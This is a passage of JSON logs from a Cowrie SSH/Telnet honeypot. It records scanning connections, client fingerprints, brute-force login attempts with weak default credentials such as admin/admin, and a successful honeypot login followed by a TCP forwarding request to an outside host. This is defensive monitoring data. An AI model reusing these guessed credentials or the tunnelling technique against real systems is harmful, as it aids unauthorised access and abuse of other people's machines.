{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:56.014965Z","src_ip":"159.203.92.129","session":"9de9c8c0b91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.926023721694946,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:57.534953Z","src_ip":"162.253.42.116","session":"5a8591b491fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.288339138031006,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:57.812905Z","src_ip":"104.248.46.74","session":"c1b35795eb64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":59666,"dst_ip":"159.203.135.109","dst_port":23,"session":"30fc13e61fcc","protocol":"telnet","message":"New connection: 208.82.116.131:59666 (159.203.135.109:23) [session: 30fc13e61fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:00.677511Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":59698,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c7174810cd5","protocol":"telnet","message":"New connection: 208.82.116.131:59698 (159.203.135.109:23) [session: 8c7174810cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:00.776432Z"}
{"eventid":"cowrie.session.closed","duration":5.582842588424683,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:06.260216Z","src_ip":"208.82.116.131","session":"30fc13e61fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.335885763168335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:06.542187Z","src_ip":"104.248.46.74","session":"747e2d346f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54864,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d1e7da5b644","protocol":"telnet","message":"New connection: 162.253.42.116:54864 (10.17.0.5:23) [session: 3d1e7da5b644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:08.750814Z"}
{"eventid":"cowrie.session.closed","duration":32.91722083091736,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:13.065717Z","src_ip":"104.248.46.74","session":"8c5ce12133d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.24985909461975,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:13.395204Z","src_ip":"104.248.46.74","session":"bf4d0c82dbc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":44598,"dst_ip":"10.17.0.5","dst_port":23,"session":"d608f70476c5","protocol":"telnet","message":"New connection: 162.253.42.116:44598 (10.17.0.5:23) [session: d608f70476c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:24.695210Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41368,"dst_ip":"159.203.135.109","dst_port":23,"session":"2798751ffe4e","protocol":"telnet","message":"New connection: 208.82.116.131:41368 (159.203.135.109:23) [session: 2798751ffe4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:24.887691Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf165489a87c","protocol":"telnet","message":"New connection: 162.253.42.116:45056 (10.17.0.5:23) [session: bf165489a87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:26.068371Z"}
{"eventid":"cowrie.session.closed","duration":42.292824029922485,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:34.520772Z","src_ip":"208.82.116.131","session":"8e01fa80d22d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.89055061340332,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:36.025979Z","src_ip":"208.82.116.131","session":"e1865d9b928d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43070,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb9ca23722a9","protocol":"ssh","message":"New connection: 159.203.92.129:43070 (159.203.135.109:22) [session: eb9ca23722a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:37.586941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:37.591696Z","src_ip":"159.203.92.129","session":"eb9ca23722a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:37.596545Z","src_ip":"159.203.92.129","session":"eb9ca23722a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"123","message":"login attempt [amax/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:37.608833Z","src_ip":"159.203.92.129","session":"eb9ca23722a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:38.614855Z","src_ip":"159.203.92.129","session":"eb9ca23722a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":32932,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e15794f74c5","protocol":"telnet","message":"New connection: 162.253.42.116:32932 (10.17.0.5:23) [session: 8e15794f74c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:39.664873Z"}
{"eventid":"cowrie.session.closed","duration":48.604976654052734,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:40.841051Z","src_ip":"208.82.116.131","session":"0c42112c67d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.84547424316406,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:40.913570Z","src_ip":"208.82.116.131","session":"f08e6ff4267e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32914590835571,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:44.079852Z","src_ip":"162.253.42.116","session":"3d1e7da5b644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50472,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1513f2cefac","protocol":"telnet","message":"New connection: 80.252.221.197:50472 (159.203.135.109:23) [session: f1513f2cefac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:44.290479Z"}
{"eventid":"cowrie.session.closed","duration":46.149439334869385,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:46.925758Z","src_ip":"208.82.116.131","session":"8c7174810cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40936,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aa718bff212","protocol":"telnet","message":"New connection: 162.253.42.116:40936 (10.17.0.5:23) [session: 7aa718bff212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:47.114195Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.170.192.234","src_port":44290,"dst_ip":"10.17.0.5","dst_port":23,"session":"088e5afa00aa","protocol":"telnet","message":"New connection: 95.170.192.234:44290 (10.17.0.5:23) [session: 088e5afa00aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:49.688267Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52778,"dst_ip":"10.17.0.5","dst_port":23,"session":"330818acb521","protocol":"telnet","message":"New connection: 162.253.42.116:52778 (10.17.0.5:23) [session: 330818acb521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:58.420083Z"}
{"eventid":"cowrie.session.closed","duration":33.07931876182556,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:59.147602Z","src_ip":"162.253.42.116","session":"bf165489a87c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.85942769050598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:38:59.554524Z","src_ip":"162.253.42.116","session":"d608f70476c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":36142,"dst_ip":"10.17.0.5","dst_port":22,"session":"31e43f4f8f71","protocol":"ssh","message":"New connection: 45.78.194.242:36142 (10.17.0.5:22) [session: 31e43f4f8f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:01.619958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:01.626112Z","src_ip":"45.78.194.242","session":"31e43f4f8f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.786140441894531,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:03.474265Z","src_ip":"95.170.192.234","session":"088e5afa00aa","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:03.525436Z","src_ip":"45.78.194.242","session":"31e43f4f8f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password01","message":"login attempt [test/password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:05.399243Z","src_ip":"45.78.194.242","session":"31e43f4f8f71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34454,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a275054458","protocol":"telnet","message":"New connection: 162.253.42.116:34454 (10.17.0.5:23) [session: 84a275054458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:06.477116Z"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:08.298134Z","src_ip":"45.78.194.242","session":"31e43f4f8f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.03507924079895,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:09.922500Z","src_ip":"208.82.116.131","session":"2798751ffe4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":32860,"dst_ip":"159.203.135.109","dst_port":23,"session":"24b26261b395","protocol":"telnet","message":"New connection: 208.82.116.131:32860 (159.203.135.109:23) [session: 24b26261b395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:12.305267Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":32894,"dst_ip":"159.203.135.109","dst_port":23,"session":"84ea9ace0671","protocol":"telnet","message":"New connection: 208.82.116.131:32894 (159.203.135.109:23) [session: 84ea9ace0671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:12.416460Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":32932,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce3fb87be0c8","protocol":"telnet","message":"New connection: 208.82.116.131:32932 (159.203.135.109:23) [session: ce3fb87be0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:12.519226Z"}
{"eventid":"cowrie.session.closed","duration":34.87643098831177,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:14.541169Z","src_ip":"162.253.42.116","session":"8e15794f74c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":57190,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc2b5499421","protocol":"telnet","message":"New connection: 174.136.57.21:57190 (10.17.0.5:23) [session: ccc2b5499421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:15.123118Z"}
{"eventid":"cowrie.session.closed","duration":35.99193596839905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:20.282301Z","src_ip":"80.252.221.197","session":"f1513f2cefac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55226,"dst_ip":"159.203.135.109","dst_port":22,"session":"243097a7db37","protocol":"ssh","message":"New connection: 159.203.92.129:55226 (159.203.135.109:22) [session: 243097a7db37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:20.903290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:20.910475Z","src_ip":"159.203.92.129","session":"243097a7db37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:20.915538Z","src_ip":"159.203.92.129","session":"243097a7db37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"123456","message":"login attempt [amax/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:20.928006Z","src_ip":"159.203.92.129","session":"243097a7db37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.472739934921265,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:21.586807Z","src_ip":"162.253.42.116","session":"7aa718bff212","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:21.959298Z","src_ip":"159.203.92.129","session":"243097a7db37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.007995843887329,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:22.313118Z","src_ip":"208.82.116.131","session":"24b26261b395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":50490,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8a0cf6991d","protocol":"telnet","message":"New connection: 104.248.46.74:50490 (159.203.135.109:23) [session: ab8a0cf6991d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:29.911270Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":41126,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc082dd55a06","protocol":"ssh","message":"New connection: 45.148.10.121:41126 (159.203.135.109:22) [session: fc082dd55a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.017565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.022812Z","src_ip":"45.148.10.121","session":"fc082dd55a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.110999Z","src_ip":"45.148.10.121","session":"fc082dd55a06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.375406Z","src_ip":"45.148.10.121","session":"fc082dd55a06","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.468454Z","session":"fc082dd55a06","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.559108Z","src_ip":"45.148.10.121","session":"fc082dd55a06","protocol":"ssh"}
